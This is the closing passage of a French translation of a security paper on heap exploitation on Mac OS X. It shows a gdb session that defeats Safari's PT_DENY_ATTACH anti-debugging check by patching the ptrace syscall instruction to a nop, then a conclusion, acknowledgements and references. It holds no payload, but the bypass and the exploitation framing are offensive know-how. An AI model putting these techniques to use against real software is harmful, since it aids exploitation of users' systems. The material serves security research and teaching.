violation de segment dans le parent. ] Il y a une pair de manières de passer outre cette vérification (dont je connais l'existance). La première de celles-ci est de patcher le noyau pour empêcher l'appel PT_DENY_ATTACH de faire quoi que ce soit. C'est surement la meilleur façon, cependant, elle implique le plus de travail. La méthode que nous allons utiliser maitnenant pour regarder dans Safari est de lancer gdb et de mettre un point d'arret sur la fonction ptrace(). C'est montré juste ici : -[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari GNU gdb 6.1-20040303 (Apple version gdb-413) (gdb) break ptrace Breakpoint 1 at 0x900541f4 Nous lançons alors le programme et attendons que le point d'arret soit atteint. Quand notre point d'arret est déclanché, nous utilisons la commande x/10i $pc (cf. juste après) pour voir les 10 prochaines instructions dans la fonction. (gdb) r Starting program: /Applications/Safari.app/Contents/MacOS/Safari Reading symbols for shared libraries .................... done Breakpoint 1, 0x900541f4 in ptrace () (gdb) x/10i $pc 0x900541f4 : addis r8,r8,4091 0x900541f8 : lwz r8,7860(r8) 0x900541fc : stw r7,0(r8) 0x90054200 : li r0,26 0x90054204 : sc 0x90054208 : b 0x90054210 0x9005420c : b 0x90054230 0x90054210 : mflr r0 0x90054214 : bcl- 20,4*cr7+so,0x90054218 0x90054218 : mflr r12 À la ligne 0x90054204, nous pouvons voir l'instruction "sc" en train de s'exécuter. C'est l'instruction qui appel l'appel système proprement dit. C'est similaire à int 0x80 sur les plateformes Linux, ou sysenter/int 0x2e sous windows. Pour éviter que l'appel système à ptrace() n'ai lieu, nous pouvons simplement remplacer cette instruction en mémoire par une instruction nop (no operation - pas d'opération). De cette manière, l'appel système n'aura jamais lieu et nous pourons déboguer sans aucun problème. Pour pathcer cette instruction avec gdb, nous pouvons utiliser la commande suivante et continuer l'exécution : (gdb) set *0x90054204 = 0x60000000 (gdb) continue --[ 6 - Conclusion Bien que les techniques décrites dans ce papier semblent plutôt spécifiques, ces techniques sont tout de même valides et l'exploitation de bugs par le tas par cette façon est définitivement possible. Quand vous êtes capables d'exploiter un bogue de cette façon, vous pouvez rapidement rendre un bogue compliqué en l'équivalent d'un simple cassage de pile (3). Au moment de la rédaction de ce papier, aucun plan de protection de la pile n'existe sur Mac OS X qui pourrait empêcher cette technique de fonctionner. (À ma connaissance.) En passant, si quelqu'un découvrait pourquoi la structure initial_malloc_szone est toujours localisée à 0x2800000 en dehors de gdb et à 0x1800000 à l'intérieur, j'apprécierais beaucoup si vous me le fassiez savoir [NDT : moi aussi :p]. J'aimerais remercier mon boss Swaraj chez Suresec LTD de m'avoir laisser le temps de faire des recherches sur les choses que j'aime tant. J'aimerais aussi faire un coucou à tous les gens de chez Feline Menace, ainsi qu'à pulltheplug.org/#social et à la team Ruxcon. J'aimerais aussi remercier Chelsea d'avoir founir aux genre du AU felinemenace des sceaux de corona pour alimenter notre hack. Merci aussi à duke pour m'avoir indiqué le bogue de vm_allocate() et ilja pour ses discussions sur le sujet à diverses occasions. "Free wd jail mitnick!" --[ 7 - References 1) Apple Memory Usage performance Guidelines: - http://developer.apple.com/documentation/Performance/Conceptual/ ManagingMemory/Articles/MemoryAlloc.html 2) WebKit: - http://webkit.opendarwin.org/ 3) Smashing the stack for fun and profit: - http://www.phrack.org/archives/49/P49-14 - http://www.arsouyes.org/info/phrack49/phrack49_0x0e%5bSlasH%5d.txt 4) Mac OS X Assembler Guide - http://developer.apple.com/documentation/DeveloperTools/ Reference/Assembler/index.html 5) Slashdot - Nokia Using WebKit - http://apple.slashdot.org/article.pl?sid=05/06/13/1158208 6) Darwin Source. - http://www.opensource.apple.com/darwinsource/curr.version.number 7) Bug Me Not - http://www.bugmenot.com 8) Open Darwin - http://www.opendarwin.org |=[ EOF ]=--------------------------------------------------------------=|